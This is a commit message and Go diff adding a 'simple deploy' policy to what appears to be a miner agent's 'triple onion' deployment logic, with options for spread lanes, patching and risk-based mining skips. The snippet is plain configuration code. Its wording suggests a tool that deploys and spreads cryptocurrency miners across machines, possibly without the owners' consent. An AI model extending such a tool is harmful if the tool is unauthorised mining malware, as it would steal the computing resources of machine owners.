Add simple Deploy and Mine path for operators without spread complexity.

Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.

agent/miner/triple_onion.go

@@ -21,6 +21,7 @@ const (
 
 // TripleOnionPolicy is server-pulled gate + chain ordering for the triple onion.
 type TripleOnionPolicy struct {
+	SimpleDeploy         bool     `json:"simple_deploy,omitempty"`
 	PatchFirst           bool     `json:"patch_first,omitempty"`
 	MineIsolatedTier     bool     `json:"mine_isolated_tier,omitempty"`
 	SkipMiningOnHighRisk bool     `json:"skip_mining_on_high_risk,omitempty"`
@@ -29,6 +30,16 @@ type TripleOnionPolicy struct {
 	DeployLanes          []string `json:"deploy_lanes,omitempty"`
 }
 
+// SimpleDeployTripleOnionPolicy is the server/agent policy for deploy→test→mine without spread lanes.
+func SimpleDeployTripleOnionPolicy() TripleOnionPolicy {
+	return TripleOnionPolicy{
+		SimpleDeploy:         true,
+		PatchFirst:           false,
+		SkipMiningOnHighRisk: false,
+		HighRiskThreshold:    100,
+	}
+}
+
 // DefaultTripleOnionPolicy works out of the box with diagnostic-driven contingencies.
 func DefaultTripleOnionPolicy() TripleOnionPolicy {
 	return TripleOnionPolicy{